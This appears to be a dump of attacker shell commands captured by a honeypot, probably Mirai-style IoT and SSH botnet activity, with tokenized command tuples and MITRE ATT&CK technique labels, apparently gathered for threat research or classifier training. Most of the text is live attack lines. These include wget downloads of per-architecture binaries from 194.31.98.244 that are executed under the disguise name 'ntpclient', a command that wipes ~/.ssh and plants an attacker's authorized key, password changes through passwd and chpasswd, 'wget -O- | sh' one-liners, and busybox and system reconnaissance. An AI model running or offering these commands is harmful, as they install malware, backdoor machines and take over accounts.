>/var/run/.l && cd /var/run/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

>/var/tmp/.l && cd /var/tmp/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

>/dev/netslink/.l && cd /dev/netslink/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

>/dev/shm/.l && cd /dev/shm/; echo -en '\x50\x41\x54\x48\x5f\x44\x4f\x4e\x45' || ./helloworld

wget http://194.31.98.244/ssh/spc -O- > ntpclient; chmod 777 ntpclient; ./ntpclient test.wget.spc

wget http://194.31.98.244/ssh/ -O- > ntpclient; chmod 777 ntpclient; ./ntpclient test.wget.

wget http://194.31.98.244/ssh/m32r -O- > ntpclient; chmod 777 ntpclient; ./ntpclient test.wget.m32r

wget http://194.31.98.244/ssh/spc -O- > ntpclient; chmod 777 ntpclient; ./ntpclient i.spc

wget http://194.31.98.244/ssh/spc -O- > ntpclient; chmod 777 ntpclient; ./ntpclient test.spc

wget http://194.31.98.244/ssh/new/spc -O- > ntpclient; chmod 777 ntpclient; ./ntpclient

wget http://194.31.98.244/ssh/new/m68k -O- > ntpclient; chmod 777 ntpclient; ./ntpclient

wget http://194.31.98.244/ssh/new/arm -O- > ntpclient; chmod 777 ntpclient; ./ntpclient

wget http://194.31.98.244/ssh/new/mipsel -O- > ntpclient; chmod 777 ntpclient; ./ntpclient

wget http://194.31.98.244/ssh/new/ -O- > ntpclient; chmod 777 ntpclient; ./ntpclient

wget http://194.31.98.244/ssh/new/ppc -O- > ntpclient; chmod 777 ntpclient; ./ntpclient

wget http://194.31.98.244/ssh/new/sh4 -O- > ntpclient; chmod 777 ntpclient; ./ntpclient

wget http://194.31.98.244/ssh/new/mips -O- > ntpclient; chmod 777 ntpclient; ./ntpclient

wget http://194.31.98.244/ssh/new/x86 -O- > ntpclient; chmod 777 ntpclient; ./ntpclient

cp /bin/echo /tmp/ntpclient; >/tmp/ntpclient; chmod 777 /tmp/ntpclient

rm -rf ddnsclient;rm -rf ntpclient; cp /bin/echo ddnsclient; >ddnsclient; cp ddnsclient ntpclient; chmod 777 ddnsclient; chmod 777 ntpclient

./ddnsclient; chmod 777 ntpclient; ./ntpclient

('cat', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', '> && cd ; echo -en || ./', 'wget --help > && echo -e ; curl --help > && echo -e ; ftpget --help > && echo -e ; echo -e', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'cat', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'wget -O- > ; chmod ; ./', 'cp /tmp/ntpclient ; > /tmp/ntpclient ; chmod /tmp/ntpclient', '/tmp/ntpclient', '/tmp/ntpclient', '/tmp/ntpclient', '/tmp/ntpclient', 'rm -rf ; rm -rf ; cp ; > ; cp ; chmod ; chmod', 'echo -ne > ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', './ ; chmod ; ./', 'echo -ne > ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'kill', 'echo', 'echo -ne > ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e', 'echo -ne >> ; echo -e')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')

T1222 File and Directory Permissions Modification


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IINWE

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LWIOX


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EXOFY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XBEOL


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GAGER


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SDAHG

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox BELTX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WAIAR


T1087 Account Discovery
T1082 System Information Discovery


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PODMT


('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'echo >', 'rm', 'cat | head -n', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo >', 'rm')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1005 Data from Local System
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OCPSW

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; wget ; chmod ; ./ ; exit')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WILYI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OWWCW


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KIVJV


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MKADS

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

('/ip', 'ifconfig', 'uname', 'cat', 'ps | grep [ ]', 'ps -ef | grep [ ]', 'ls', 'echo | cat -n')

T1016 System Network Configuration Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UXNAR


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HGJMT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QCOGK


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


('sh', 'enable', 'shell', 'debug', 'cmd', 'wget -O- | sh ; curl -O- | sh')

T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JYJIE

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FVWYC


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo >', 'rm', 'cat | head -n', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo >', 'rm')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1098 Account Manipulation
T1070 Indicator Removal
T1005 Data from Local System
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1070 Indicator Removal


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EWJRP


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RTDPK

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UEBKU


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GNJDP


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cat /proc/cpuinfo | grep name | wc -l | head -c 30

('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l | head -c')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FJDGS

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CTBVU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZMHPE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JIHDC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QPPWV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CEEYG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YMJMY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LHHSA

cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LSTIB

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', '/bin/busybox')

T1059 Command and Scripting Interpreter
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1036 Masquerading
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OWYWK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AWMEU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KLDDM


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KICBP

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FITKV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PYBSP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XKIUP


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MJWYG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ALHLU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EEIBK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TPYBN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AKXVV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QTOBN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XAZWA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DNOLR


